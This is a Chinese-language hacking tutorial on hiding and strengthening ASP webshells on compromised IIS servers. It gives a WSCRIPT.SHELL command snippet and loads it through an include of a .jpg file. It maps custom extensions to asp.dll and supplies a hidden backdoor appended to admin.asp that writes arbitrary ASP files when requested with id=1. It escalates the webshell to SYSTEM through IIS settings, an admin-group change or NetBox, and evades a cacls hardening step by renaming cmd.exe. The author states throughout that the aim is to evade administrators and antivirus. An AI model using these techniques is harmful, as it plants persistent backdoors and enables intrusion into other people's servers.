脚本入侵中往往会上传一个asp木马来进一步扩大权限,或者在肉鸡中留一个asp后门也是一个不错的选择。但是如何让asp木马更加隐匿和强大,从而躲过网管查杀逃过杀毒软件追杀,并且具备system权限呢?改变代码变量也许是一个解决问题的办法,但是我们不如换个角度思考,何不尝试改变asp木马的运行方式?
首先,我们可以换个任意后缀来运行asp木马。换任意后缀来运行asp文件方法有两种,一种是include指令的使用。include指令可以让我们直接调用位于其它文件的函数,而不管后缀名是什么。像我写了一个简单的asp木马,功能是遍历c:盘,源码如下:
<%Set oScript = Server.CreateObject("WSCRIPT.SHELL") oScript.Run ("cmd.exe /c dir c:\ c:\lcx.txt ") %
我们可以将这段源码保存成1.jpg,然后将这句指令<!--#include file="1.jpg"--放在2.asp文件的文件头或文件尾,那么我们执行2.asp时,放在2.asp同目录下的1.jpg同样也会被调用,起到遍历c:的功能即在c:下生成lcx.txt这一文件。第二种方法是iis管理器中用asp.dll来解析任意后缀。在iis默认安装情况下,我们可以查觉asa、cer、cdx后缀也可以成功运行asp代码,因为这三种后缀的文件映射都是调用了系统的asp.dll。根据这一启示,我们可以做一个.lcx的后缀映射,用nt\system32下的asp.dll来解析,这样做完后写有asp源码的lcx后缀文件也会成功运行asp程序。其方法是依次打开电脑的控制面板-管理工具-Internet 服务管理器-web站点-右键属性-主目录-配置-添加。图1。
其次,我们可以让asp木马来触发才运行。无论你的asp木马写得多么好,基本总会调用到WSCRIPT.SHELL和Scripting.FileSystemObject这两个对象。有经验的网管可以运行查找功能,让你的木马无处可逃。(这里我也顺便给大家提供一个启明星工作室编写的查找asp木马的工具,见附件)我们能不能做到调用这两个对象的asp木马不放在肉鸡上,需要时能够随时上传运行呢?runasp.asp是一个用asp实现asp文件的运行的脚本,虽然还有很多bug,但是对我们调用执行asp木马是足够用了。更为可怕的是我在runasp.asp里调用测试一些恶意代码时,居然躲过了瑞星的查杀。图2。(由于runasp.asp代码太多,文章里不方便列出,我已将其放在附件里了,大家可以自己研究一下)我们将runasp.asp放在肉鸡上是不是一个很好的asp触发器后门呢?另外,对付粗心的网管我们还可以将这样一段代码放在asp文件里:
<%
on error resume next
id=request("id")
if request("id")=1 then
testfile=Request.form("name")
msg=Request.form("message")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%
<form method="POST" ACTION="你要插入的asp文件名?id=1"
<input type="text" size="20" name="Name"
value=<%=server.mappath("xp.asp")%
<textarea name="Message" class=input
</textarea
<;input type="submit" name="Send" value="生成" class=input
</form
<% end if%
像我放在动网文章的admin.asp的文件尾端,当网管运行http://动网文章url/admin.asp时并没有引起丝毫变化,而当我们运行http://动网文章url/admin.asp?id=1时,就可以根据我们的需要生成任意asp木马文件了。
最后,我们要让asp木马具备系统权限。我们的木马现在隐匿得很深,躲过了细心网管和杀毒软件,不具备系统权限我们心有不甘。让asp木马具备系统权限的方法有三种,第一种是在iis管理器中的主目录选项里将应用程序保护选择为:低(iis进程)图3。第二种是将"IWAM_machine"这一用户加入administrators组即可。这两种方法我想大家也许都耳熟能详了,但第3种也许就不为人所知了。netbox是一款由北京综艺达软件技术有限公司自主研制的编译及开发工具,除了Apache和微软的IIS以外,目前是世界上第三个可以运行asp的应用服务器,在Windows98/NT/2000/Me/XP下都可以直接运行,而且是一个大小仅为440kb的绿色文件。我已将netbox配置好了(请见附件的netbox文件夹),大家使用的时候,只需将netbox文件夹放在某个盘符下,再在cmd下运行"x:\netbox\netbox.exe -install"即可安装成功netbox,以后就可以运行http://ip:88/x.asp了。需要指出的是我在netbox的配置文件里main.box里写了这样两行代码:
If httpd.Create("", 88) = 0 Then
Set host = httpd.AddHost("", "\wwwroot")
意思是web的端口为88,asp文件放在netbox目录下的wwwroot文件夹。这个端口和文件夹,你都可以根据自己的需要用记事本打开main.box来修改你所想要的。我们使用这一软件最大的一个好处是我们的asp木马在netbox环境下具备了系统权限,也许用它在肉鸡上做主页留后门也是一个不错的选择哟。
另外,因为我整篇文章写得是如何突破常规限制来运行asp木马,所以还有一点我要提及。在黑客防线2003年7期xhacker有篇文章《巧妙设置cmd权限加强主机安全配置》提到过防止网上流行的cmd.asp木马(见附件)方法是可以用
cacls %systemroot/system32/cmd.exe /E /D IUSR_machine
cacls %systemroot/system32/dllcache/cmd.exe /E /D IUSR_machine
这样两条命令来限止cmd.exe的权限,于是cmd.asp木马就失去作用了。针对这种限制我们也有办法突破,我们可以将本机的cmd.exe改名传到肉鸡上,假设我们将cmd.exe改名为lcx.exe,传在肉鸡的d:\lcx目录下,于是我们打开cmd.asp, 找到
Call oScript.Run ("cmd.exe /c " & szCMD & " " & szTempFile, 0, True)这一行源码,改为
Call oScript.Run ("d:\lcx\lcx.exe /c " & szCMD & " " & szTempFile, 0, True)即可,我们又可以成功运行cmd.asp了。
总之,如何能更好地运行asp木马,发挥出它的强大功能,还是需要我们多动脑多动手,只有这样我们才会有新的发现。